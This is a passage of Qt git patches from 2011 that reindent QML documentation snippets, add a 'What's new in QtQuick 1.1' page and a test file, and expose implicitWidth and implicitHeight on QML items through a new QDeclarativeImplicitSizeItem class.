    -        acceptedButtons: Qt.LeftButton | Qt.RightButton
    -        onClicked: {
    -            if (mouse.button == Qt.RightButton)
    -                parent.color = 'blue';
    -            else
    -                parent.color = 'red';
    +            MouseArea {
    +                anchors.fill: parent
    +                acceptedButtons: Qt.LeftButton | Qt.RightButton
    +                onClicked: {
    +                    if (mouse.button == Qt.RightButton)
    +                        parent.color = 'blue';
    +                    else
    +                        parent.color = 'red';
    +                }
    +            }
             }
    -    }
    -}
    -//! [intro-extended]
    +        //! [intro-extended]
     
    -//! [drag]
    -Rectangle {
    -    id: container
    -    width: 600; height: 200
    +        //! [drag]
    +        Rectangle {
    +            id: container
    +            width: 600; height: 200
     
    -    Rectangle {
    -        id: rect
    -        width: 50; height: 50
    -        color: "red"
    -        opacity: (600.0 - rect.x) / 600
    +            Rectangle {
    +                id: rect
    +                width: 50; height: 50
    +                color: "red"
    +                opacity: (600.0 - rect.x) / 600
     
    -        MouseArea {
    -            anchors.fill: parent
    -            drag.target: rect
    -            drag.axis: Drag.XAxis
    -            drag.minimumX: 0
    -            drag.maximumX: container.width - rect.width
    +                MouseArea {
    +                    anchors.fill: parent
    +                    drag.target: rect
    +                    drag.axis: Drag.XAxis
    +                    drag.minimumX: 0
    +                    drag.maximumX: container.width - rect.width
    +                }
    +            }
             }
    -    }
    -}
    -//! [drag]
    +        //! [drag]
     
    -//! [mousebuttons]
    -Text {
    -    text: mouseArea.pressedButtons & Qt.RightButton ? "right" : ""
    -    horizontalAlignment: Text.AlignHCenter
    -    verticalAlignment: Text.AlignVCenter
    -
    -    MouseArea {
    -        id: mouseArea
    -        anchors.fill: parent
    -        acceptedButtons: Qt.LeftButton | Qt.RightButton
    -    }
    -}
    -//! [mousebuttons]
    +        //! [mousebuttons]
    +        Text {
    +            text: mouseArea.pressedButtons & Qt.RightButton ? "right" : ""
    +            horizontalAlignment: Text.AlignHCenter
    +            verticalAlignment: Text.AlignVCenter
     
    -}
    +            MouseArea {
    +                id: mouseArea
    +                anchors.fill: parent
    +                acceptedButtons: Qt.LeftButton | Qt.RightButton
    +            }
    +        }
    +        //! [mousebuttons]
     
    +    }
     }
    diff --git a/doc/src/snippets/declarative/propertyanimation.qml b/doc/src/snippets/declarative/propertyanimation.qml
    index 1f1cbaf..30eeba8 100644
    --- a/doc/src/snippets/declarative/propertyanimation.qml
    +++ b/doc/src/snippets/declarative/propertyanimation.qml
    @@ -48,10 +48,12 @@ Rectangle {
         width: 100; height: 100
         color: "red"
     
    +    //! [single state]
         states: State {
             name: "moved"
             PropertyChanges { target: rect; x: 50 }
         }
    +    //! [single state]
     
         transitions: Transition { 
             PropertyAnimation { properties: "x,y"; easing.type: Easing.InOutQuad } 
    @@ -83,18 +85,16 @@ Rectangle {
     }
     //![propertyvaluesource]
     
    -//![standalone]
    -Rectangle {
    -    id: theRect
    -    width: 100; height: 100
    -    color: "red"
    -
    -    // this is a standalone animation, it's not running by default
    -    PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 }
    -
    -    MouseArea { anchors.fill: parent; onClicked: animation.running = true }
    -}
    -//![standalone]
    +    //![standalone]
    +    Rectangle {
    +        id: theRect
    +        width: 100; height: 100
    +        color: "red"
     
    +        // this is a standalone animation, it's not running by default
    +        PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 }
     
    +        MouseArea { anchors.fill: parent; onClicked: animation.running = true }
    +    }
    +    //![standalone]
     }
    diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp
    index 87ea214..29838f6 100644
    --- a/src/declarative/graphicsitems/qdeclarativepathview.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp
    @@ -379,14 +379,14 @@ void QDeclarativePathViewPrivate::regenerate()
         \l decrementCurrentIndex() or \l incrementCurrentIndex(), for example to navigate
         using the left and right arrow keys:
     
    -    \code
    +    \qml
         PathView {
    -        ...
    +        // ...
             focus: true
             Keys.onLeftPressed: decrementCurrentIndex()
             Keys.onRightPressed: incrementCurrentIndex()
         }
    -    \endcode
    +    \endqml
     
         The path view itself is a focus scope (see \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page} for more details).
     
    @@ -437,7 +437,7 @@ QDeclarativePathView::~QDeclarativePathView()
         Component {
             Rectangle {
                 visible: PathView.onPath
    -            ...
    +            // ...
             }
         }
         \endqml
    @@ -697,14 +697,14 @@ void QDeclarativePathViewPrivate::setAdjustedOffset(qreal o)
         of the \l{PathView::onPath}{PathView.onPath} attached property to ensure that
         the highlight is hidden when flicked away from the path.
     
    -    \code
    +    \qml
         Component {
             Rectangle {
                 visible: PathView.onPath
    -            ...
    +            // ...
             }
         }
    -    \endcode
    +    \endqml
     
         \sa highlightItem, highlightRangeMode
     */
    diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp
    index dd7e5fd..f2c54ab 100644
    --- a/src/declarative/util/qdeclarativeanimation.cpp
    +++ b/src/declarative/util/qdeclarativeanimation.cpp
    @@ -672,7 +672,9 @@ QDeclarativeColorAnimation::~QDeclarativeColorAnimation()
     
         \qml
         Item {
    -        states: [ ... ]
    +        states: [
    +            // States are defined here...
    +        ]
     
             transition: Transition {
                 NumberAnimation { from: "#c0c0c0"; duration: 2000 }
    diff --git a/src/declarative/util/qdeclarativeconnections.cpp b/src/declarative/util/qdeclarativeconnections.cpp
    index 15e5ac5..dbb6f43 100644
    --- a/src/declarative/util/qdeclarativeconnections.cpp
    +++ b/src/declarative/util/qdeclarativeconnections.cpp
    @@ -71,8 +71,8 @@ public:
     
     /*!
         \qmlclass Connections QDeclarativeConnections
    -  \ingroup qml-utility-elements
    -  \since 4.7
    +    \ingroup qml-utility-elements
    +    \since 4.7
         \brief A Connections element describes generalized connections to signals.
     
         A Connections object creates a connection to a QML signal.
    @@ -115,7 +115,7 @@ public:
         MouseArea {
             id: area
         }
    -    ...
    +    // ...
         Connections {
             target: area
             onClicked: foo(...)
    -- 
    cgit v0.12
    
    
    From 44060d2129b461754f6bd86153889a869f12440a Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Mon, 24 Jan 2011 14:09:59 +1000
    Subject: Add list of new properties/methods in QtQuick 1.1
    
    ---
     doc/src/declarative/whatsnew.qdoc                  | 98 +++++++++++++++++++++-
     .../qdeclarativeitem/data/implicitsize.qml         | 19 +++++
     2 files changed, 116 insertions(+), 1 deletion(-)
     create mode 100644 tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml
    
    diff --git a/doc/src/declarative/whatsnew.qdoc b/doc/src/declarative/whatsnew.qdoc
    index a3ba522..4b94d51 100644
    --- a/doc/src/declarative/whatsnew.qdoc
    +++ b/doc/src/declarative/whatsnew.qdoc
    @@ -29,7 +29,103 @@
     \title What's new in Qt Quick
     \page qtquick-whatsnew.html
     
    -\section1 4.7.1
    +\section1 Qt 4.7.3 includes QtQuick 1.1
    +
    +QtQuick 1.1 is a minor feature update.
    +
    +\section2 PinchArea
    +
    +PinchArea provides support for the common two finger pinch gesture.
    +
    +\section2 Text
    +
    +Added the following properties:
    +\list
    +\o lineSpacing
    +\o lineCount
    +\o maximumLineCount
    +\o truncated
    +\endlist
    +
    +horizontalAlignment now accepts Text.AlignJustify alignment mode.
    +
    +\section2 TextEdit
    +
    +Added the following properties, methods and signal handlers:
    +\list
    +\o canPaste
    +\o lineCount
    +\o deselect()
    +\o moveCursorSelection(int pos, SelectionMode mode) to enable selection by word
    +\o onLinkActivated(string link) 
    +\endlist
    +
    +\section2 TextInput
    +
    +Added the following properties and methods:
    +\list
    +\o canPaste
    +\o deselect()
    +\o moveCursorSelection(int pos, SelectionMode mode) to enable selection by word
    +\endlist
    +
    +\section2 Image and BorderImage
    +
    +Added the following properties:
    +\list
    +\o cache
    +\o mirror
    +\endlist
    +
    +\section2 Item
    +
    +Added the following properties:
    +\list
    +\o implicitWidth and implicitHeight
    +\endlist
    +
    +\section2 Flickable
    +
    +Added the following methods:
    +\list
    +\o resizeContent(qreal w, qreal h, QPointF center)
    +\o returnToBounds() 
    +\endlist
    +
    +\section2 ListView and GridView
    +
    +Added the following methods:
    +\list
    +\o positionViewAtBeginning()
    +\o positionViewAtEnd() 
    +\endlist
    +
    +\section2 Flow, Grid, Row
    +
    +Added the following properties:
    +\list
    +\o layoutDirection
    +\endlist
    +
    +\section2 Repeater
    +
    +Added the following methods:
    +\list
    +\o onItemAdded()
    +\o onItemRemoved()
    +\o itemAt()
    +\endlist
    +
    +\section2 Qt
    +
    +Added the following properties:
    +\list
    +\o application.layoutDirection
    +\o application.active
    +\endlist
    +
    +
    +\section1 Qt 4.7.1
     
     \section2 QtQuick namespace
     
    diff --git a/tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml b/tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml
    new file mode 100644
    index 0000000..869c0fc
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml
    @@ -0,0 +1,19 @@
    +import QtQuick 1.1
    +
    +Item {
    +    implicitWidth: 200
    +    implicitHeight: 100
    +
    +    width: 80
    +    height: 60
    +
    +    function resetSize() {
    +        width = undefined
    +        height = undefined
    +    }
    +
    +    function changeImplicit() {
    +        implicitWidth = 150
    +        implicitHeight = 80
    +    }
    +}
    -- 
    cgit v0.12
    
    
    From 6f78a6080b84cc3ef96b73a4ff58d1b5a72f08f4 Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Mon, 24 Jan 2011 16:08:46 +1000
    Subject: Expose implicitWidth and implicitHeight properties of Item.
    
    Overridden as readonly for elements that have an inherent implicit size
    such as Text, TextEdit, TextInput, positioners, Loader.
    
    Task-number: QTBUG-14957
    Reviewed-by: Michael Brasser
    ---
     src/declarative/graphicsitems/graphicsitems.pri    |   8 +-
     .../graphicsitems/qdeclarativeimagebase.cpp        |   2 +-
     .../graphicsitems/qdeclarativeimagebase_p.h        |   4 +-
     .../graphicsitems/qdeclarativeimagebase_p_p.h      |   4 +-
     .../graphicsitems/qdeclarativeimplicitsizeitem.cpp |  92 +++++++++++++++++++
     .../graphicsitems/qdeclarativeimplicitsizeitem_p.h | 100 +++++++++++++++++++++
     .../qdeclarativeimplicitsizeitem_p_p.h             |  90 +++++++++++++++++++
     src/declarative/graphicsitems/qdeclarativeitem.cpp |  85 ++++++++++++++++--
     src/declarative/graphicsitems/qdeclarativeitem.h   |   5 ++
     src/declarative/graphicsitems/qdeclarativeitem_p.h |  11 ++-
     .../graphicsitems/qdeclarativeitemsmodule.cpp      |   5 ++
     .../graphicsitems/qdeclarativeloader.cpp           |   2 +-
     .../graphicsitems/qdeclarativeloader_p.h           |   4 +-
     .../graphicsitems/qdeclarativeloader_p_p.h         |   4 +-
     .../graphicsitems/qdeclarativepositioners.cpp      |   4 +-
     .../graphicsitems/qdeclarativepositioners_p.h      |   4 +-
     .../graphicsitems/qdeclarativepositioners_p_p.h    |   4 +-
     src/declarative/graphicsitems/qdeclarativetext.cpp |  62 +++++++++++--
     src/declarative/graphicsitems/qdeclarativetext_p.h |   4 +-
     .../graphicsitems/qdeclarativetext_p_p.h           |   9 +-
     .../graphicsitems/qdeclarativetextedit.cpp         |  43 +++++++--
     .../graphicsitems/qdeclarativetextedit_p.h         |   4 +-
     .../graphicsitems/qdeclarativetextedit_p_p.h       |  11 ++-
     .../graphicsitems/qdeclarativetextinput.cpp        |   2 +-
     .../graphicsitems/qdeclarativetextinput_p.h        |   4 +-
     .../graphicsitems/qdeclarativetextinput_p_p.h      |   4 +-
     .../qdeclarativeitem/tst_qdeclarativeitem.cpp      |  80 +++++++++++++++++
     .../qdeclarativetext/tst_qdeclarativetext.cpp      |  29 ++++++
     .../tst_qdeclarativetextedit.cpp                   |  29 ++++++
     29 files changed, 652 insertions(+), 57 deletions(-)
     create mode 100644 src/declarative/graphicsitems/qdeclarativeimplicitsizeitem.cpp
     create mode 100644 src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h
     create mode 100644 src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h
    
    diff --git a/src/declarative/graphicsitems/graphicsitems.pri b/src/declarative/graphicsitems/graphicsitems.pri
    index 2cd3323..9904274 100644
    --- a/src/declarative/graphicsitems/graphicsitems.pri
    +++ b/src/declarative/graphicsitems/graphicsitems.pri
    @@ -52,7 +52,10 @@ HEADERS += \
         $$PWD/qdeclarativegraphicswidget_p.h \
         $$PWD/qdeclarativetextlayout_p.h \
         $$PWD/qdeclarativepincharea_p.h \
    -    $$PWD/qdeclarativepincharea_p_p.h
    +    $$PWD/qdeclarativepincharea_p_p.h \
    +    $$PWD/qdeclarativeimplicitsizeitem_p.h \
    +    $$PWD/qdeclarativeimplicitsizeitem_p_p.h
    +
     
     SOURCES += \
         $$PWD/qdeclarativeitemsmodule.cpp \
    @@ -86,5 +89,6 @@ SOURCES += \
         $$PWD/qdeclarativelayoutitem.cpp \
         $$PWD/qdeclarativegraphicswidget.cpp \
         $$PWD/qdeclarativetextlayout.cpp \
    -    $$PWD/qdeclarativepincharea.cpp
    +    $$PWD/qdeclarativepincharea.cpp \
    +    $$PWD/qdeclarativeimplicitsizeitem.cpp
     
    diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
    index 7ce357b..8448bd6 100644
    --- a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
    @@ -49,7 +49,7 @@
     QT_BEGIN_NAMESPACE
     
     QDeclarativeImageBase::QDeclarativeImageBase(QDeclarativeImageBasePrivate &dd, QDeclarativeItem *parent)
    -  : QDeclarativeItem(dd, parent)
    +  : QDeclarativeImplicitSizeItem(dd, parent)
     {
     }
     
    diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
    index 4d2aa04..d183bdc 100644
    --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
    @@ -42,14 +42,14 @@
     #ifndef QDECLARATIVEIMAGEBASE_H
     #define QDECLARATIVEIMAGEBASE_H
     
    -#include "qdeclarativeitem.h"
    +#include "qdeclarativeimplicitsizeitem_p.h"
     
     QT_BEGIN_HEADER
     
     QT_BEGIN_NAMESPACE
     
     class QDeclarativeImageBasePrivate;
    -class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeItem
    +class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeImplicitSizeItem
     {
         Q_OBJECT
         Q_ENUMS(Status)
    diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h
    index 39cf44e..ab16e66 100644
    --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h
    @@ -53,7 +53,7 @@
     // We mean it.
     //
     
    -#include "private/qdeclarativeitem_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p_p.h"
     #include "private/qdeclarativepixmapcache_p.h"
     
     #include 
    @@ -61,7 +61,7 @@
     QT_BEGIN_NAMESPACE
     
     class QNetworkReply;
    -class QDeclarativeImageBasePrivate : public QDeclarativeItemPrivate
    +class QDeclarativeImageBasePrivate : public QDeclarativeImplicitSizeItemPrivate
     {
         Q_DECLARE_PUBLIC(QDeclarativeImageBase)
     
    diff --git a/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem.cpp b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem.cpp
    new file mode 100644
    index 0000000..31ac28f
    --- /dev/null
    +++ b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem.cpp
    @@ -0,0 +1,92 @@
    +/****************************************************************************
    +**
    +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
    +** All rights reserved.
    +** Contact: Nokia Corporation (qt-info@nokia.com)
    +**
    +** This file is part of the QtDeclarative module of the Qt Toolkit.
    +**
    +** $QT_BEGIN_LICENSE:LGPL$
    +** No Commercial Usage
    +** This file contains pre-release code and may not be distributed.
    +** You may use this file in accordance with the terms and conditions
    +** contained in the Technology Preview License Agreement accompanying
    +** this package.
    +**
    +** GNU Lesser General Public License Usage
    +** Alternatively, this file may be used under the terms of the GNU Lesser
    +** General Public License version 2.1 as published by the Free Software
    +** Foundation and appearing in the file LICENSE.LGPL included in the
    +** packaging of this file.  Please review the following information to
    +** ensure the GNU Lesser General Public License version 2.1 requirements
    +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
    +**
    +** In addition, as a special exception, Nokia gives you certain additional
    +** rights.  These rights are described in the Nokia Qt LGPL Exception
    +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
    +**
    +** If you have questions regarding the use of this file, please contact
    +** Nokia at qt-info@nokia.com.
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +** $QT_END_LICENSE$
    +**
    +****************************************************************************/
    +
    +#include "private/qdeclarativeimplicitsizeitem_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p_p.h"
    +
    +QT_BEGIN_NAMESPACE
    +
    +void QDeclarativeImplicitSizeItemPrivate::implicitWidthChanged()
    +{
    +    Q_Q(QDeclarativeImplicitSizeItem);
    +    emit q->implicitWidthChanged();
    +}
    +
    +void QDeclarativeImplicitSizeItemPrivate::implicitHeightChanged()
    +{
    +    Q_Q(QDeclarativeImplicitSizeItem);
    +    emit q->implicitHeightChanged();
    +}
    +
    +QDeclarativeImplicitSizeItem::QDeclarativeImplicitSizeItem(QDeclarativeItem *parent)
    +    : QDeclarativeItem(*(new QDeclarativeImplicitSizeItemPrivate), parent)
    +{
    +}
    +
    +QDeclarativeImplicitSizeItem::QDeclarativeImplicitSizeItem(QDeclarativeImplicitSizeItemPrivate &dd, QDeclarativeItem *parent)
    +    : QDeclarativeItem(dd, parent)
    +{
    +}
    +
    +
    +void QDeclarativeImplicitSizePaintedItemPrivate::implicitWidthChanged()
    +{
    +    Q_Q(QDeclarativeImplicitSizePaintedItem);
    +    emit q->implicitWidthChanged();
    +}
    +
    +void QDeclarativeImplicitSizePaintedItemPrivate::implicitHeightChanged()
    +{
    +    Q_Q(QDeclarativeImplicitSizePaintedItem);
    +    emit q->implicitHeightChanged();
    +}
    +
    +QDeclarativeImplicitSizePaintedItem::QDeclarativeImplicitSizePaintedItem(QDeclarativeItem *parent)
    +    : QDeclarativePaintedItem(*(new QDeclarativeImplicitSizePaintedItemPrivate), parent)
    +{
    +}
    +
    +QDeclarativeImplicitSizePaintedItem::QDeclarativeImplicitSizePaintedItem(QDeclarativeImplicitSizePaintedItemPrivate &dd, QDeclarativeItem *parent)
    +    : QDeclarativePaintedItem(dd, parent)
    +{
    +}
    +
    +QT_END_NAMESPACE
    diff --git a/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h
    new file mode 100644
    index 0000000..1863d95
    --- /dev/null
    +++ b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h
    @@ -0,0 +1,100 @@
    +/****************************************************************************
    +**
    +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
    +** All rights reserved.
    +** Contact: Nokia Corporation (qt-info@nokia.com)
    +**
    +** This file is part of the QtDeclarative module of the Qt Toolkit.
    +**
    +** $QT_BEGIN_LICENSE:LGPL$
    +** No Commercial Usage
    +** This file contains pre-release code and may not be distributed.
    +** You may use this file in accordance with the terms and conditions
    +** contained in the Technology Preview License Agreement accompanying
    +** this package.
    +**
    +** GNU Lesser General Public License Usage
    +** Alternatively, this file may be used under the terms of the GNU Lesser
    +** General Public License version 2.1 as published by the Free Software
    +** Foundation and appearing in the file LICENSE.LGPL included in the
    +** packaging of this file.  Please review the following information to
    +** ensure the GNU Lesser General Public License version 2.1 requirements
    +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
    +**
    +** In addition, as a special exception, Nokia gives you certain additional
    +** rights.  These rights are described in the Nokia Qt LGPL Exception
    +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
    +**
    +** If you have questions regarding the use of this file, please contact
    +** Nokia at qt-info@nokia.com.
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +** $QT_END_LICENSE$
    +**
    +****************************************************************************/
    +
    +#ifndef QDECLARATIVEIMPLICITSIZEITEM_H
    +#define QDECLARATIVEIMPLICITSIZEITEM_H
    +
    +#include "qdeclarativepainteditem_p.h"
    +
    +QT_BEGIN_HEADER
    +
    +QT_BEGIN_NAMESPACE
    +
    +class QDeclarativeImplicitSizeItemPrivate;
    +class Q_AUTOTEST_EXPORT QDeclarativeImplicitSizeItem : public QDeclarativeItem
    +{
    +    Q_OBJECT
    +    Q_PROPERTY(qreal implicitWidth READ implicitWidth NOTIFY implicitWidthChanged REVISION 1)
    +    Q_PROPERTY(qreal implicitHeight READ implicitHeight NOTIFY implicitHeightChanged REVISION 1)
    +
    +public:
    +    QDeclarativeImplicitSizeItem(QDeclarativeItem *parent = 0);
    +
    +protected:
    +    QDeclarativeImplicitSizeItem(QDeclarativeImplicitSizeItemPrivate &dd, QDeclarativeItem *parent);
    +
    +Q_SIGNALS:
    +    Q_REVISION(1) void implicitWidthChanged();
    +    Q_REVISION(1) void implicitHeightChanged();
    +
    +private:
    +    Q_DISABLE_COPY(QDeclarativeImplicitSizeItem)
    +    Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeImplicitSizeItem)
    +};
    +
    +class QDeclarativeImplicitSizePaintedItemPrivate;
    +class Q_AUTOTEST_EXPORT QDeclarativeImplicitSizePaintedItem : public QDeclarativePaintedItem
    +{
    +    Q_OBJECT
    +    Q_PROPERTY(qreal implicitWidth READ implicitWidth NOTIFY implicitWidthChanged REVISION 1)
    +    Q_PROPERTY(qreal implicitHeight READ implicitHeight NOTIFY implicitHeightChanged REVISION 1)
    +
    +public:
    +    QDeclarativeImplicitSizePaintedItem(QDeclarativeItem *parent = 0);
    +
    +protected:
    +    QDeclarativeImplicitSizePaintedItem(QDeclarativeImplicitSizePaintedItemPrivate &dd, QDeclarativeItem *parent);
    +    virtual void drawContents(QPainter *, const QRect &) {};
    +
    +Q_SIGNALS:
    +    Q_REVISION(1) void implicitWidthChanged();
    +    Q_REVISION(1) void implicitHeightChanged();
    +
    +private:
    +    Q_DISABLE_COPY(QDeclarativeImplicitSizePaintedItem)
    +    Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeImplicitSizePaintedItem)
    +};
    +
    +QT_END_NAMESPACE
    +
    +QT_END_HEADER
    +
    +#endif // QDECLARATIVEIMPLICITSIZEITEM_H
    diff --git a/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h
    new file mode 100644
    index 0000000..0bb7163
    --- /dev/null
    +++ b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h
    @@ -0,0 +1,90 @@
    +/****************************************************************************
    +**
    +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
    +** All rights reserved.
    +** Contact: Nokia Corporation (qt-info@nokia.com)
    +**
    +** This file is part of the QtDeclarative module of the Qt Toolkit.
    +**
    +** $QT_BEGIN_LICENSE:LGPL$
    +** No Commercial Usage
    +** This file contains pre-release code and may not be distributed.
    +** You may use this file in accordance with the terms and conditions
    +** contained in the Technology Preview License Agreement accompanying
    +** this package.
    +**
    +** GNU Lesser General Public License Usage
    +** Alternatively, this file may be used under the terms of the GNU Lesser
    +** General Public License version 2.1 as published by the Free Software
    +** Foundation and appearing in the file LICENSE.LGPL included in the
    +** packaging of this file.  Please review the following information to
    +** ensure the GNU Lesser General Public License version 2.1 requirements
    +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
    +**
    +** In addition, as a special exception, Nokia gives you certain additional
    +** rights.  These rights are described in the Nokia Qt LGPL Exception
    +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
    +**
    +** If you have questions regarding the use of this file, please contact
    +** Nokia at qt-info@nokia.com.
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +** $QT_END_LICENSE$
    +**
    +****************************************************************************/
    +
    +#ifndef QDECLARATIVEIMPLICITSIZEITEM_P_H
    +#define QDECLARATIVEIMPLICITSIZEITEM_P_H
    +
    +//
    +//  W A R N I N G
    +//  -------------
    +//
    +// This file is not part of the Qt API.  It exists purely as an
    +// implementation detail.  This header file may change from version to
    +// version without notice, or even be removed.
    +//
    +// We mean it.
    +//
    +
    +#include "private/qdeclarativeitem_p.h"
    +#include "private/qdeclarativepainteditem_p_p.h"
    +
    +QT_BEGIN_NAMESPACE
    +
    +class QDeclarativeImplicitSizeItemPrivate : public QDeclarativeItemPrivate
    +{
    +    Q_DECLARE_PUBLIC(QDeclarativeImplicitSizeItem)
    +
    +public:
    +    QDeclarativeImplicitSizeItemPrivate()
    +    {
    +    }
    +
    +    virtual void implicitWidthChanged();
    +    virtual void implicitHeightChanged();
    +};
    +
    +
    +class QDeclarativeImplicitSizePaintedItemPrivate : public QDeclarativePaintedItemPrivate
    +{
    +    Q_DECLARE_PUBLIC(QDeclarativeImplicitSizePaintedItem)
    +
    +public:
    +    QDeclarativeImplicitSizePaintedItemPrivate()
    +    {
    +    }
    +
    +    virtual void implicitWidthChanged();
    +    virtual void implicitHeightChanged();
    +};
    +
    +QT_END_NAMESPACE
    +
    +#endif // QDECLARATIVEIMPLICITSIZEITEM_P_H
    diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp
    index 00e06be..afa1b72 100644
    --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp
    @@ -3056,13 +3056,24 @@ void QDeclarativeItemPrivate::resetWidth()
         q->setImplicitWidth(q->implicitWidth());
     }
     
    +void QDeclarativeItemPrivate::implicitWidthChanged()
    +{
    +    Q_Q(QDeclarativeItem);
    +    emit q->implicitWidthChanged();
    +}
    +
    +qreal QDeclarativeItemPrivate::implicitWidth() const
    +{
    +    return mImplicitWidth;
    +}
    +
     /*!
         Returns the width of the item that is implied by other properties that determine the content.
     */
     qreal QDeclarativeItem::implicitWidth() const
     {
         Q_D(const QDeclarativeItem);
    -    return d->implicitWidth;
    +    return d->implicitWidth();
     }
     
     /*!
    @@ -3072,9 +3083,13 @@ qreal QDeclarativeItem::implicitWidth() const
     void QDeclarativeItem::setImplicitWidth(qreal w)
     {
         Q_D(QDeclarativeItem);
    -    d->implicitWidth = w;
    -    if (d->mWidth == w || widthValid())
    +    bool changed = w != d->mImplicitWidth;
    +    d->mImplicitWidth = w;
    +    if (d->mWidth == w || widthValid()) {
    +        if (changed)
    +            d->implicitWidthChanged();
             return;
    +    }
     
         qreal oldWidth = d->mWidth;
     
    @@ -3083,6 +3098,9 @@ void QDeclarativeItem::setImplicitWidth(qreal w)
     
         geometryChanged(QRectF(x(), y(), width(), height()),
                         QRectF(x(), y(), oldWidth, height()));
    +
    +    if (changed)
    +        d->implicitWidthChanged();
     }
     
     /*!
    @@ -3164,25 +3182,77 @@ void QDeclarativeItemPrivate::resetHeight()
         q->setImplicitHeight(q->implicitHeight());
     }
     
    +void QDeclarativeItemPrivate::implicitHeightChanged()
    +{
    +    Q_Q(QDeclarativeItem);
    +    emit q->implicitHeightChanged();
    +}
    +
    +qreal QDeclarativeItemPrivate::implicitHeight() const
    +{
    +    return mImplicitHeight;
    +}
    +
     /*!
         Returns the height of the item that is implied by other properties that determine the content.
     */
     qreal QDeclarativeItem::implicitHeight() const
     {
         Q_D(const QDeclarativeItem);
    -    return d->implicitHeight;
    +    return d->implicitHeight();
     }
     
     /*!
    +    \qmlproperty real Item::implicitWidth
    +    \qmlproperty real Item::implicitHeight
    +    \since Quick 1.1
    +
    +    Defines the natural width or height of the Item if no \l width or \l height is specified.
    +
    +    The default implicit size for most items is 0x0, however some elements have an inherent
    +    implicit size which cannot be overridden, e.g. Image, Text.
    +
    +    Setting the implicit size is useful for defining components that have a preferred size
    +    based on their content, for example:
    +
    +    \code
    +    // Label.qml
    +    import QtQuick 1.1
    +
    +    Item {
    +        property alias icon: image.source
    +        property alias label: text.text
    +        implicitWidth: text.implicitWidth + image.implicitWidth
    +        implicitHeight: Math.max(text.implicitHeight, image.implicitHeight)
    +        Image { id: image }
    +        Text {
    +            id: text
    +            wrapMode: Text.Wrap
    +            anchors.left: image.right; anchors.right: parent.right
    +            anchors.verticalCenter: parent.verticalCenter
    +        }
    +    }
    +    \endcode
    +
    +    \bold Note: using implicitWidth of Text or TextEdit and setting the width explicitly
    +    incurs a performance penalty as the text must be layed out twice.
    +*/
    +
    +
    +/*!
         Sets the implied height of the item to \a h.
         This is the height implied by other properties that determine the content.
     */
     void QDeclarativeItem::setImplicitHeight(qreal h)
     {
         Q_D(QDeclarativeItem);
    -    d->implicitHeight = h;
    -    if (d->mHeight == h || heightValid())
    +    bool changed = h != d->mImplicitHeight;
    +    d->mImplicitHeight = h;
    +    if (d->mHeight == h || heightValid()) {
    +        if (changed)
    +            d->implicitHeightChanged();
             return;
    +    }
     
         qreal oldHeight = d->mHeight;
     
    @@ -3191,6 +3261,9 @@ void QDeclarativeItem::setImplicitHeight(qreal h)
     
         geometryChanged(QRectF(x(), y(), width(), height()),
                         QRectF(x(), y(), width(), oldHeight));
    +
    +    if (changed)
